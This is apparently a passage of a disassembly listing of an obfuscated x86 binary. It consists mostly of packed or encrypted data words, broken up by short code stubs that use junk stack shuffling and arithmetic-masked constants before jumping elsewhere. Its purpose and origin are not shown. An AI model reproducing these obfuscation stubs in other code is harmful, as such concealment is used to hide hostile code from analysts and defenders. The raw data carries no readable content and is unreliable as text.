0C0661512h, 0E60DE94Ch, 0E39DC67Fh, 2C0D424Bh dd 0A3BC6F88h, 5B0E07FFh, 0BA9B7E1h, 73F612A2h, 61FFE5A3h dd 1C387808h, 0FFE762B9h, 0AAE88EE7h, 2A6E812h, 0F080D8E9h dd 0C8F17C22h, 82D2B95Fh, 6B000000h, 0C87992BCh, 72951EBCh dd 421E6BCCh, 0A52C96B2h, 61BA07E0h, 0FCA271D6h, 0A4FA19C6h dd 0A185ED19h, 0DD1E07E0h, 13FF5423h, 0AC7D697Ah, 0A50EFBBAh dd 9E4BF11Ah, 5BF32975h, 0F87FB531h, 63093EB5h, 49D98702h dd 0E22A7A2Dh, 840F680Fh, 1FAAF41Fh, 17F84D8Dh, 90ACFC87h dd 0FE0C72Dh, 0EB91FA53h, 0A1E1B06Ah, 0E0C72285h, 82E5010Fh dd 0B00FE0C7h, 17BD1657h, 0FD8DD3B6h, 0E1B92EE1h, 0A5DB3417h dd 0A967BCEEh, 9BEE4FF5h, 0A0F535C5h, 15892F6Fh, 7E77562h dd 278C1770h, 0E47CB2ECh, 0A01A848Fh, 0BEA5F862h, 0BF6C128Fh dd 93BF4A54h, 2504B60Fh, 5BBA0F5Fh, 0EF2DAC32h, 147D1429h dd 39BA6089h, 0B95BB07Fh, 0D63955E5h, 0FC15050Dh, 0C350FDA3h dd 0B80DA5DBh, 98060959h, 0D67BE40Dh, 0DBA603Eh, 0BD0D9806h dd 1ACAD793h, 13B9D665h, 6AF5A966h, 506C0B05h, 1504CEEDh dd 0C651BA13h, 63EEB061h, 18C12FEh, 4C063FD8h, 0EFA9D2A4h dd 6096080Bh, 0B33E60B3h, 314h, 5CBBAD00h, 0A42F6FA7h dd 3FCAD43Fh, 0DD6836DAh, 77029C78h, 149FFF12h, 0B13C62AFh dd 50DBC34Ch, 0E9742AEBh, 85108E84h, 3D086852h, 1C890000h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ecx push ecx push 54AB3212h pop ecx push esi mov esi, 29116071h xor esi, 64B71B28h and ecx, esi pop esi not ecx neg ecx xor ecx, 4CA2C3DAh mov ebp, ecx pop ecx push esp mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], edx mov edx, 8 add edx, ecx mov [edx], ebp pop edx mov ecx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push dword ptr [esp] pop ebp add esp, 4 jmp loc_58B334 ; --------------------------------------------------------------------------- dw 62B2h dd 3AA94146h, 0F698B8h, 0FFC50308h, 4B080CE0h, 0BFF42918h dd 561A0E06h, 10872459h, 696B4E7Dh, 0CA731010h, 0B98FE643h dd 7EEAC174h, 0E1C61A5Fh, 0C7B8FF2Bh, 0D46CBA14h, 22E8CF37h dd 894A0C22h, 0EF7AA775h, 0CE819h, 0A7150000h, 1D64B21h dd 9EC951B0h, 0B70F97DCh, 0A8B759F2h, 658BC181h, 56BB0000h dd 0B85B67CEh, 1A41256Fh, 3C5AF081h, 0D88B1A41h, 0BF0F118Bh dd 0F4EA81FEh, 814EE701h, 0F0F057DEh, 0DCF28152h, 605CA649h dd 9E9h, 18869200h, 4C256463h, 8B66FDDCh, 0C28161D9h, 7AF7C885h dd 0C8DE8166h, 0B6605207h, 0E1816622h, 8F61B359h, 0E1E98101h dd 8155A4EDh, 0C32C45D3h, 0DDC1814Ah, 0B755A4EDh, 850F4886h dd 1Ch, 0E9FAB70Fh, 2Dh, 54C19852h, 66265235h, 1BC3A259h dd 0D5BECC55h, 1DC80C42h, 68C0Fh, 0D7810000h, 7B771200h dd 0FFFF77E9h, 0F15823FFh, 0EEBDF567h, 58D8DC9h, 6A0800F9h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 0FC30C356h, 0C46BF375h, 8B66528Bh, 0B8665BD0h dd 8D895E8Dh, 7FA1CD9h, 0AD85C7F9h, 2C07FA31h, 0F000064h dd 0C85h, 6840F00h, 8B000000h, 0FA0D559Dh, 0D9D8B07h, 0C707FA17h dd 0FA2BD985h, 7, 68F0F00h, 8B000000h, 0FA296DB5h, 99B5FF07h dd 6A07FA1Eh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 66E8C356h, 0FFDE8B66h, 0FA179995h dd 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 9EAD3BE0h, 25BD2258h, 5860Fh, 81660000h dd 6AF20EC2h, 1995FF00h, 8B07FA10h, 8C3AEBC0h, 536DB199h dd 28890B01h, 9EEFDF2h, 10C0843Bh, 0C40807D8h, 100FB4D6h dd 0A6C8AFF1h, 34418B22h, 53B26601h, 0F978DF7Ch, 0EB3224F2h dd 0D47B91CBh, 0EC3A5081h, 0D4807909h, 0DE874h, 12E50000h dd 0D36FAA2Eh, 5214C158h, 0F9D56E0Fh, 0BF666058h, 8589F315h dd 7FA0849h, 0D0C08161h, 0E800006Eh, 0Fh, 22840D57h, 3C239731h dd 24C287A4h, 8B31EC82h, 0FA18959Dh, 0F6335907h, 56C802BAh dd 634FF71h, 1BD5958Bh, 665F07FAh, 0EF81DE8Bh, 4F1395C4h dd 0D7816660h, 8161F19Fh, 0CCD3D6EFh, 0C3805625h, 0EF815ABBh dd 34454FB4h, 7ED958Bh, 0E95707FAh, 14h, 0F4E2CBC6h, 46289DD2h dd 3CB33F6Fh, 10FF90D4h, 4399CC1h, 0F30048Fh, 28Bh, 816CB700h dd 4DA5B3EEh, 8112B343h, 4DA5AFC6h, 9D295743h, 7FA2805h dd 0ECFE815Bh, 0FFFFF91h, 0FFFF8885h, 0B70F52FFh, 13E95ADBh dd 6B000000h, 1008B3h, 3 dup(0) dd 0AAE90000h, 68000004h, 800FB3Bh, 0F984C3E9h, 0FBBB68FFh dd 0B9E90800h, 68FFF984h, 800FD2Eh, 0F984AFE9h, 732BEBFFh dd 1C82903Dh, 0C2DC39E6h, 6E30DF8Ch, 18868B38h, 12F9AEE2h dd 0BC699FFFh, 63104658h, 0EBBF1ADh, 94639905h, 7DBD203Ch dd 7DE307E7h, 0AD67BCC6h, 973D66F1h, 0EC7727EAh, 0DC128C87h dd 0F9160E7Bh, 88F11AA5h, 0A03ADCF8h, 0F6807E0h, 9EF15884h dd 7AFB07E0h, 0AB81B9C0h, 0C1F406Eh, 0CF000003h, 926B4FA5h dd 9B40B9ECh, 0C77E247Ah, 0CEBB657Bh, 0E4E60292h, 0D207E089h dd 0EAD83C79h, 0E00545EFh, 0AF48A6A9h, 0A11F4D8Bh, 0D7EA838h dd 23A85085h, 7EBE56FCh, 1DBF223Eh, 8CE5FA86h, 25B072E6h dd 2C960280h, 6985E058h, 0FD4BD906h, 0A459D32Ch, 48FF89Ch dd 0E9B55FB4h, 0B9A7E243h, 8194E929h, 94B1510Ch, 0A009E9B5h dd 0D246EC15h, 5461E4Dh, 5C42D328h, 0B902A8D1h, 987BD060h dd 0F023D006h, 0FCB3B99Dh, 0AC15EFC1h, 2371EEEh, 65043F63h dd 2D9h, 346A34E2h, 0DD138B87h, 83B9E530h, 2F6539D6h, 0D90F8F82h dd 0A07F0A5h, 63B15E94h, 0B858053Bh, 1003B0E6h, 3189588Eh dd 0E77EB215h, 0C37AE007h, 0B5B996F3h, 5747CD39h, 4529A3CCh dd 0A030993Fh, 0E8322F84h, 0B2CE0E07h, 7E6D24Fh, 2D761C75h dd 22EF44D4h, 59AE467Ch, 903DE3BBh, 66921D81h, 7E6D1FEh dd 0AACD4499h, 0E6332B8Eh, 970059F7h, 0CFCF44F1h, 62E17311h dd 7E1D586Eh, 259h, 0B4EAB462h, 5D930B07h, 33965B0h, 0AFE5B956h dd 598F0F02h, 8A877025h, 0E331DE14h, 38D885BBh, 90833066h dd 0B109D80Eh, 0E77E3295h, 43FA6007h, 3ACA96F3h, 0E77DC91Eh dd 0EF7AD307h, 0E77D5CC3h, 2BE56607h, 7584EC24h, 1A98A40h dd 0A71B0000h, 42A7326Ch, 278AA6D1h, 0E9FFE683h, 0D932732Bh dd 78A23A70h, 1632FBEFh, 63C46A23h, 8EAA3A26h, 7E146F4h dd 0D29B1943h, 5DEF09DEh, 8A156EB7h, 0E0E7F75Eh, 0C6800107h dd 6EF087BFh, 592540h, 0BCB60000h, 4DF3AB67h, 33C39DECh dd 0E09C4917h, 45DC0607h, 23168852h, 0A3FC4F59h, 9AC64629h dd 0EB19A820h, 721802C4h, 405BF29h, 1B44EE48h, 0E13E9CFFh dd 871CA07h, 81E8149Fh, 8B07E13Eh, 52B7C9F3h, 0CD5846CFh dd 0B5C02AA4h, 33ED6E14h, 6EBAF42Ch, 0D49240h, 0A7230000h dd 42A7326Ch, 0DF44CFCFh, 7ADF6A34h, 35750599h, 0E683B619h dd 0F383DCFFh, 0E68374D7h, 0A349A2FFh, 8868F165h, 0F91AFFE6h dd 7B0E6FA5h, 120055E5h, 0E4EE68Ch, 0BC4757B9h, 0A379ED93h dd 0AF07E366h, 9F71C656h, 81C159FFh, 2AB5E92Ch, 63AE5B01h dd 466215FFh, 7E35DE3h, 0C44FB811h, 64FC329Bh, 5EA50824h dd 849207E3h, 0C98BC73Eh, 6099EDFh, 0DC892F98h, 0B8E62D35h dd 0DD9B042Dh, 9E616E39h, 0E640DF1Ah, 0D5000000h, 7A275D41h dd 23D00698h, 0C976ACF2h, 75225846h, 98CC029Ch, 8915FCE3h dd 306EA653h, 0DBC34DFAh, 831BF8A5h, 0A267E4Dh, 7E780A7h dd 0A7B067CDh, 64A4346Ah, 0E682E548h, 22B20BFFh, 0E683A306h dd 0D278D1FFh, 722CE794h, 6CA7853Ch, 0D142A732h, 533697CDh dd 60617D0Dh, 8607E0D2h, 0C9489D2Dh, 0C42B9FD5h, 0A307E0D2h dd 35DBC34Eh, 0DD138B88h, 32BDE130h, 97CFB8E2h, 25FBD112h dd 63987Fh, 0F3310000h, 1E3ACA96h, 7E77DC5h, 0A1F686DFh dd 7F1FF36Fh, 0BC628B16h, 4F4FC429h, 0F7A76C19h, 0CA0B406Ch dd 31811FEFh, 0DA6539DCh, 0D08A0BB1h, 0E77727ECh, 911C8292h dd 0D784C268h, 72D7623Ch, 0E476019Dh, 0DD3201BBh, 0C3264235h dd 0F10FEF39h, 7BA42F98h, 0B3EB28D5h, 5B43D07Dh, 331D0h dd 0BBCA0000h, 2F6FA75Ch, 0CAD43FA4h, 6836DA3Fh, 29C78DDh dd 9FFF1277h, 3C62AF14h, 0DBC34CB1h, 742AEB50h, 108E84E9h dd 54575285h, 4C7815Fh, 83000000h, 3C8704EFh, 89505C24h dd 405E0h, 0E8830000h, 24048704h, 241C895Ch, 81E18951h dd 4C1h, 4E98100h, 87000000h, 895C240Ch, 56502434h, 5C6FDEBEh dd 0BCEE8160h, 814A9349h, 37D422C6h, 5EF089F2h, 5458C389h dd 8124348Bh, 4C4h, 30DB6800h, 1C890000h, 8468F24h, 5E2434FFh dd 8B04C483h db 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_58B334 ; --------------------------------------------------------------------------- dw 0D8FCh dd 0DC2A4253h, 3119FEE3h, 0B7629DBCh, 0FE39B8CEh, 0C5030800h dd 1826E0FFh, 1AF10EA8h, 96535C1h, 98D02749h, 0A8015B39h dd 76EA54B5h, 78CF4D36h, 0FABC5747h, 6E83068Ch, 0D6342652h dd 0DE8B2BDEh, 99633CA8h, 0AB29539Eh, 0DFCB6EA3h, 952F7227h dd 33556D9Dh, 0F0E838BFh, 9F87C52h, 9BBA14EAh, 1532135Bh dd 9E1111BCh, 7EB240DDh, 6B642E03h, 2FCA0BA0h, 3760531Ah dd 0DA835DECh, 9A787F78h, 7CDD62A2h, 0CF7F20C2h, 20761D2Fh dd 0B16A15F0h, 182F3704h, 8D8D56DBh, 800FFF9h, 0D798589h dd 0CB8107FAh, 42B50725h, 1CD98D89h, 9D8907FAh, 7FA1851h dd 31AD85C7h, 5FD007FAh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 56F1F9C3h, 9071C88h dd 0FA1E1995h, 0D985C707h, 7FA2Bh, 66000000h, 0A396CA81h dd 89C78166h, 0B1B5FF12h, 8907FA16h, 0FA16D9B5h, 9995FF07h dd 6A07FA17h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 0B267C355h, 219D8B6Ah, 6A07FA1Fh dd 1995FF00h, 8B07FA10h, 6E7AEBC0h, 3C1BBC87h, 2DD0C1FCh dd 0DD8F00A3h, 52FB89BCh, 0F9312C7Ch, 0B781A549h, 0AFCF73A7h dd 0CA892D06h, 9349DF13h, 0C46D289Ah, 0AAC09EA5h, 3458F021h dd 8B1B090Eh, 5C339578h, 0FF42A668h, 0B64D66D2h, 7EDC37D7h dd 0DEEC218Eh, 1F952C20h, 0C4810095h, 9FBF4DB9h, 6C2A726Ch dd 8E86F04Fh, 0C802F639h, 4B7C7F23h, 7CD906A3h, 297ED11Dh dd 0D1FCAC18h, 0A7DA7B2Fh, 0AAD7D37Ch, 15E96Eh, 5E50000h dd 1F50h, 3 dup(0) dd 0E9000000h, 0B23h, 1023768h, 547AE908h, 3D68FFFAh, 0E9080103h dd 0FFFA5470h, 104D668h, 5466E908h, 0CF68FFFAh, 0E9080105h dd 0FFFA545Ch, 1073668h, 5452E908h, 1668FFFAh, 0E9080109h dd 0FFFA5448h, 10A0B68h, 543EE908h, 0B54AFFFAh, 3AD27900h dd 0A15D048Bh, 1AEC931Ah, 88751CA3h, 310AA31h, 0B43B827Fh dd 40C7FE0Dh, 0CD546399h, 57DED726h, 7734B120h, 0D7EFE317h dd 3E7E279Eh, 8B5C3ADAh, 6D6995D2h, 7734D19Ch, 0C9C7126Bh dd 0A9F43FB9h, 279E6F0Eh, 58E129A0h, 2B7611A0h, 0CB00A9E0h dd 0E0F32DA4h, 3CB92865h, 0EF7D1B36h, 8BC25DA8h, 0EBD90DE2h dd 0A05C525Eh, 0E8337E19h, 0AD1F4D87h, 4986DB14h, 0DD3323DCh dd 0AC03F5EFh, 3F9A7211h, 0DD3305C2h, 0CF1A65EFh, 0AD789B34h dd 3316D350h, 2B76EFDDh, 0C691FCE0h, 0AB25D86Bh, 4AF9D0h dd 0AB920000h, 66C76255h, 0DC8440B4h, 0A6E32E30h, 2C2CD57Ah dd 28258886h, 39812865h, 3851D8EEh, 0ED38AAB6h, 0EB0739B6h dd 2671EF7Ch, 0BFF608EFh, 0C17AAF82h, 4EEFDCFAh, 8AB918E3h dd 51D0AAD9h, 8823926Ah, 0A987003Dh, 63000000h, 8A259C6Dh dd 0D4BB1EEBh, 99568B22h, 0F9E7E216h, 0CBF20FAEh, 0B746E580h dd 35C463FEh, 0B5B8F57Ch, 9FE7E21Bh, 0BF06036Eh, 78ED924h dd 7D18A960h, 5A91CE0Eh, 0AD04F4DBh, 3D010370h, 206BEF7Ch dd 0A5DA2299h, 9F14F16Eh, 7DB4F770h, 0D91F4300h, 0D58A3F7h dd 0AB12EFD6h, 39807D24h, 69080EFBh, 0EC2FFA1Dh, 8B3h dd 0D35A53A4h, 5EE5DC2Ch, 0ED744BB7h, 76FDB046h, 48B32CFh dd 2CD9796Ah, 94670E95h, 19F39A21h, 898027AEh, 0B7AB138h dd 0E318D18Eh, 0C4F831EFh, 0F229906Dh, 2BC6F10Bh, 3DE4A3E0h dd 726EF5CCh, 0E9205D9Dh, 7C1F3A6Ch, 0F06DA4EFh, 0EFDC2F33h dd 62FD4893h, 0DC2F742Dh, 0FDB046EFh, 7B4AC362h, 592447E0h dd 0D6A10CF0h, 48799077h, 0BA2562ADh, 0D0AA2589h, 0D148h dd 0FFAE100h, 6D4D79B6h, 538A259Ch, 169A57D4h, 0AFFAE7E2h dd 36E9B72h, 0D924BF06h, 0BBBEF38Eh, 0A5E7E21Bh, 2FD65D54h dd 0DD4CE7DEh, 0AA29609Dh, 427F46C3h, 7C3CD3D5h, 6C9E3DEFh dd 10870E59h, 1E9F7DC8h, 9A4F94DBh, 68B302FBh, 0B633B231h dd 0EFDCA5F9h, 1CD90E59h, 7CEFDCA6h, 885F431h, 0F770F360h dd 0B9386FBAh, 0D9857F3Ch, 5794DFF7h, 0BD0401E8h, 0CD8A0786h dd 2DF7D984h, 3FE6A5E2h, 0F6BDFBC2h, 0B21D696Eh, 7ADA4E7h dd 55AA0000h, 0DA32D960h, 41BD64EBh, 0BA4CF37Ah, 28D57C03h dd 63700A91h, 149B22DFh, 0A0279E6Dh, 2DB403F9h, 0B73E7786h dd 0D7941180h, 37EFE319h, 906DCAFEh, 2FBA229h, 178D4AC7h dd 9567E7E2h, 73BE0922h, 0EED5F0ECh, 946BA81Dh, 12B14C65h dd 0CC43CAFBh, 9B184F8Ch, 0EF7C2D85h, 0B251EC37h, 3CE36A5Bh dd 5D64A0CDh, 0D21677C2h, 0CA643E55h, 7FB44F9Ah, 771B22A5h dd 20E5B0CBh, 0AA51D8E9h, 92C76253h, 772324D8h, 5E27F24Dh dd 0E88F16AFh, 7A37B411h, 0DA772325h, 640D448Fh, 3C39CFFFh dd 9E71AE94h, 0BAAD5369h, 3C837F66h, 0BB0A02A1h, 0C036D520h dd 0AAC552EDh, 0AED16ADFh, 0DAEB22E3h, 785DAC53h, 23403EFBh dd 0D5EC1877h, 9FD6EF3Ah, 23406522h, 2F7AC577h, 92DA49E4h dd 937D265Dh, 0B4F3CFF5h, 437A8625h, 581A9706h, 0C27EBDE6h dd 0A2594077h, 0F02D7813h, 3D72BA31h, 19638906h, 10F786B8h dd 0E530CBFAh, 1C7431AEh, 89D48718h, 15B0FB4Ch, 181C26E0h dd 7F4AB587h, 65229F1Eh, 0C587181Ch, 61D23D7Ah, 6048663Ch dd 395h, 0BF2CD53Ch, 0FE4C19C1h, 1A3581BEh, 4D84B901h dd 7D1C32D0h, 5889D4EFh, 0E36E7AF3h, 0B835B470h, 70EBEDFBh dd 9A71105Bh, 747EE2Bh, 0E5308576h, 0F0331AEh, 60477886h dd 8EDF1CA5h, 8A71A843h, 61AC477Eh, 0EA3D7D24h, 0B09BD95Dh dd 7CB3FE3Ah, 7AF509FFh, 0F9307B80h, 43CAFB12h, 16546D9Ch dd 8B9EE057h, 14F33601h, 43000006h, 0CB72F9CCh, 56FD8433h dd 0E58C13AAh, 6E159C13h, 9A32A93h, 348D781Ah, 0C0F506ADh dd 4D789239h, 0D7EE1FC6h, 2DAA1950h, 0EFE31B70h, 9D6397D0h dd 8831CC5Dh, 2057A2EDh, 7C2D8DA3h, 0BDF43FEFh, 0C879AC14h dd 0F33019DEh, 39888120h, 5B26419Eh, 164D82CAh, 76528399h dd 17FE35F7h, 0E29FD4EBh, 42F7D652h, 8E75ACF7h, 63AE497Ch dd 49C06726h, 71984178h, 4A17A36Bh, 0BA592C69h, 543B7243h dd 1D411A8h, 98159403h, 0F7D681DBh, 58B3F03Bh, 8031C88Dh dd 5675BEF9h, 6F56D8A4h, 46912C93h, 2839009h, 9D6C0000h dd 6AE9205Dh, 91E255C1h, 0EA2722F5h, 0E3BB437Dh, 1B529DDFh dd 7148B59Ch, 774E8BD6h, 6DAC338Ah, 0A8437A86h, 7BC6FD09h dd 239A673Eh, 0C2F905ECh, 0CC9FDC27h, 7B288397h, 0DE3017DFh dd 5BC48E7h, 0A918F1C8h, 9FA4BC6Bh, 3E814C1Ah, 51Bh, 6BF2CB3Ch dd 0F67D34C4h, 850CB34Fh, 0E9528DEh, 9C239A67h, 94711102h dd 0CFFA62Dh, 718B32B9h, 0E118BF46h, 0A31249D0h, 0E31C6926h dd 5C90C9EFh, 0E9205D9Dh, 5EDE340h, 888162B3h, 42B1EE39h dd 932ADCC3h, 370ADF8h, 0DFE392C9h, 0DAE31E05h, 66014C9Dh dd 98CC862Fh, 0B53B452Ch, 5968A178h, 0E3D22BD2h, 6150A948h dd 712EAB2Ah, 0D1EFE3D1h, 78764986h, 7CFB521Dh, 1D526995h dd 0EFE3D160h, 613875C0h, 579219A8h, 0DF5187ECh, 1A0E5h dd 9C6DC100h, 886FEE25h, 5AA54071h, 0E2176825h, 407DC8E7h dd 863FCE6Dh, 0B4088FFh, 8E1BEDD4h, 33226EC6h, 3408BEBh dd 3C111794h, 3883EF7Ch, 4BAF689Dh, 0D13CEFDCh, 0C98AB06h dd 3139D0AAh, 15000000h, 0E9205D9Dh, 81BE0702h, 1F639512h dd 0C8AFEF7Ch, 9DE88332h, 29C40F60h, 0DC2F3BF4h, 925DC8EFh dd 0AA25F43Fh, 1AF0D7D0h, 0A5F56EABh, 0D1000000h, 38D19C6Dh dd 58A3EE89h, 8A0786BDh, 0E7E216CDh, 0C45F56A7h, 0D8156079h dd 9C690401h, 3DBFC425h, 2B17A139h, 57A645E0h, 0D524C35Eh dd 0A7427388h, 4D8A115Ch, 0E7E2844Ah, 65ECC534h, 3A71AEEEh dd 76D193BDh, 6BA2EDEFh, 9407984h, 7785EC22h, 0F9B8F540h dd 0D00EB752h, 15634C1Dh, 0B499DCA7h, 0A3000003h, 2BD2596Ch dd 0B65DE4D3h, 45EC734Ah, 0CE75FCB3h, 69038A33h, 942DD87Ah dd 2095660Dh, 0AD18F299h, 378E7F26h, 8D0A79B0h, 0EFE31DD0h dd 6DC3F730h, 8F26D590h, 0E716BD44h, 9732837Ah, 7E7A014Ch dd 8A259C6Dh, 1CA312EBh, 0AF06F6DDh, 0E58CC914h, 4A3168A5h dd 216C07BEh, 0FF675E4h, 4CB6F3h, 29BDB9ACh, 0F7ED7DDEh dd 27DEE509h, 4ABB7DEAh, 0EE25EF7Ch, 0DC4CB471h, 7EC914EFh dd 4CF7AEE3h, 0FB6AEFDCh, 690E252h, 0C8FF9D8Fh, 0DC358E4Bh dd 66A3EEEFh, 5EDD400Bh, 370EDBB5h, 0EB2048AEh, 0EFDCC02Eh dd 5F06438Eh, 0BC79F61Fh, 1CEFDCBFh, 0EF3A817Dh, 2EF06DA4h dd 7AF776D5h, 0AB4A7D93h, 7FCA6550h, 1FA6F142h, 18EED523h dd 88BF0AA5h, 0E2174E0Bh, 2663AEE7h, 0D007BE4Fh, 8A312E9h dd 169754D1h, 0ACF7E7E2h, 0B2512461h, 6CE36A5Bh, 0D1B8EF2Ch dd 0E1508D34h, 7C315E64h, 0EA85D0EFh, 0DC40FCB5h, 230A89EFh dd 439EDBEAh, 132A1978h, 8B1D0AAh, 0FB2E16CAh, 3F3E55E0h dd 55E98FF0h, 2969E21Fh, 45000000h, 18DA2CD5h, 2643A036h dd 0C5FA42E9h, 93DF118Eh, 0FE49EF7Ch, 0A4752E63h, 9702EFDCh dd 0B0CE75CCh, 0E903D0AAh, 0DF000000h, 0F64C2CD5h, 355DD5A8h dd 0D9E821F8h, 0B88073Eh, 0E7E2BA4Eh, 4F2663AEh, 0D1700BB2h dd 4FEE8938h, 438007BEh, 0E7E2BF40h, 6352AB92h, 7BE4F26h dd 17D451D0h, 77E7E2BFh, 8930EF2Ch, 37A64170h, 683BAF7h dd 0EF7CD2CCh, 9E155F08h, 0F6C582FFh, 0DA25EFDCh, 61E2BB79h dd 35801BAAh, 764A89EAh, 43392AEh, 0A42B76C7h, 79B0ED2Dh dd 713CBCFCh, 0A4DB26F7h, 0F27940BDh, 57B3BE4Bh, 38D3EA1Ch dd 1957A2EDh, 1D69A632h, 0D4D81BE6h, 83000001h, 0BB2398Ch dd 963DC4F3h, 25CC536Ah, 0AE55DCD3h, 49E36A53h, 744DB85Ah dd 0B546EDh, 8D38D279h, 17AE5F06h, 6DEA5990h, 0EFE31FB0h dd 0D5A3D710h, 58A83A2Ch, 2B7611A0h, 760C98CAh, 32A76239h dd 0E264F8B5h, 4DB958E7h, 4590DB76h, 3DCC73FAh, 0D7BEFD84h dd 29559225h, 0E9205D9Dh, 7C1F3A6Ch, 0BE59A4EFh, 0DC2ED089h dd 27F25DEFh, 0AA2579CAh, 66E362D0h, 0EFDC22A9h, 4E5DBE09h dd 0FFC2AA75h, 0CE960F4Ch, 72000000h, 3AD19C6Dh, 5AA5F08Bh dd 0DCE520BFh, 1C090C41h, 745BE7E2h, 9423D984h, 2663AE49h dd 88F1BE4Fh, 0DE676C4Eh, 5E058CD7h, 0F8DF16AFh, 0CE19B40Dh dd 0F4FBE91h, 0A03B827Eh, 56D30A55h, 0EF7D0A1Ch, 2DA42B76h dd 0FC79B0EDh, 0F7715917h, 5E457CC7h, 64E31AA3h, 0D9EB2AE7h dd 23F8AF7h, 58619C43h, 69D42B1Ah, 0CF12DD1Dh, 0DFh, 0A72E8778h dd 32B90800h, 0C1487F8Bh, 4AD1E41Ah, 0D85F66A3h, 50AD553Eh dd 0C03BE269h, 35C76EF5h, 0A554FB82h, 0DF4E850Ch, 0E320A562h dd 98CC05EFh, 541DEED5h, 2BC611A8h, 31CCA3E0h, 0ECA85188h dd 0D824480Eh, 0F0C07DFAh, 0D520E7E2h, 0A71EEB8Ah, 0ED6CAB6Ah dd 0E2F0B370h, 8BC813E7h, 0E56C45B4h, 259C6DE9h, 0A312EB8Ah dd 3C65A51Ch, 0E21702BFh, 0CC1762E7h, 17821895h, 0E934DFE3h dd 675EAF4Eh, 73778730h, 0F5089B83h, 7510A556h, 0EF2EED2Ah dd 0C61E5C46h, 0E3F68C49h, 40A1ECEFh, 0F594017Ah, 0C813AE05h dd 6C45B48Bh, 0CC9D9CD1h, 76910714h, 0A213EAABh, 4085741Bh dd 34DF06C3h, 0D01B6607h, 4D609635h, 3F2655B2h, 125DF8CFh dd 0E6AF7AD5h, 70179E17h, 4A8D2899h, 3, 6DB6DA26h, 0E988239Ah dd 6706A110h, 0E8872295h, 6807A213h, 0EA89249Dh, 6C0BA61Fh dd 0E988239Ah, 6C0BA61Dh, 0FA8A259Ch, 81E38953h, 4C3h dd 4EB8300h, 31241C33h, 1C33241Ch, 89525C24h, 4C281E2h dd 81000000h, 4EAh, 24148700h, 2434895Ch, 6EEF68h, 243C8900h dd 2590BD55h, 814560AAh, 27F9DCDh, 6BBF575Eh, 81244566h dd 2B64A5CFh, 0FAF7815Bh, 313D6977h, 0C5815FFDh, 0CB549255h dd 545DEE89h, 83243C8Bh, 815604C4h, 4A71242Ch, 478F2E43h dd 8478108h, 2E434A71h db 8Bh, 3Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop esi add esp, 4 jmp loc_59895C ; --------------------------------------------------------------------------- db 69h, 1Ch, 16h dd 0DDFEBFE6h, 6A1C695h, 0B891DEBFh, 8010B0Fh, 0E0FFC503h dd 78D4E5ACh, 675769D4h, 4704B580h, 471F60D9h, 117AC2E6h dd 4DBFA388h, 781FDD0Ch, 2CF4538Eh, 1C5C4E7h, 6323B739h dd 67B9692Dh, 608D9232h, 3DF6F57Ah, 0BA84A2Dh, 147C9535h dd 3DA209B1h, 2483DD71h, 42DD40ACh, 764C9A27h, 37C1AFE1h dd 3C83C2FEh, 5AD1FC8Fh, 3FC26DEBh, 14704C56h, 7F33E992h dd 3B29FF50h, 74E84C65h, 0D108D8Dh, 6A0801h, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 26BFDEC3h dd 0C59D0189h, 907FA0Eh, 0FA2F3985h, 0D98D8907h, 6A07FA1Ch dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 6E34C351h, 8B99136Ch, 0FA02BD95h, 0AD85C707h dd 2C07FA31h, 6A00006Ch, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 0B5F0C350h, 2D3F8968h dd 0F80E0E8h, 5E9FBBFh, 0E7000000h, 0EE4F4A3Bh, 2BD985C7h dd 7FAh, 0B5890000h, 7FA2145h, 0B5FFAEB3h, 7FA112Dh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 5AC35343h, 179995FFh dd 49B407FAh, 34C1858Bh, 6A07FAh, 101995FFh, 0C08B07FAh dd 961B59EBh, 2536D869h, 21A966F6h, 0A525EFB5h, 0E07B8D15h dd 0AC84D7DDh, 2D50EA48h, 95145223h, 180B0A37h, 0CC87BEEEh dd 0C41E5F50h, 6388631Ch, 993E69D4h, 1D424CA3h, 7961CAC7h dd 50A3BD68h, 0D761808Ch, 0A32C2638h, 59E76E71h, 6C64FC31h dd 6D3BA0C1h, 0B5F5EF05h, 8DBC3C5Bh, 10E758Dh, 68E0F08h dd 89000000h, 0FA01B18Dh, 0E3816607h, 8D89E8B5h, 7FA1CD9h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0EAC35747h dd 1D99D8Bh, 0B58B07FAh, 7FA00B5h, 16E9BD8Bh, 85C707FAh dd 7FA31ADh, 61C0h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 0E8C35141h, 3ADC5312h, 0F5D1D50h, 0C7FCF9BFh dd 0FA2BD985h, 7, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 8BD18EEEh, 0FA2B91B5h dd 49B5FF07h, 6A07FA21h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 10EAC357h, 0DBBF0FC2h dd 9995FFF8h, 6A07FA17h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 7A2FC355h, 47BCF338h dd 11852905h, 6A07FA26h, 1995FF00h, 8B07FA10h, 623DEBC0h dd 87048AA1h, 4E89C962h, 75FA6523h, 403BD501h, 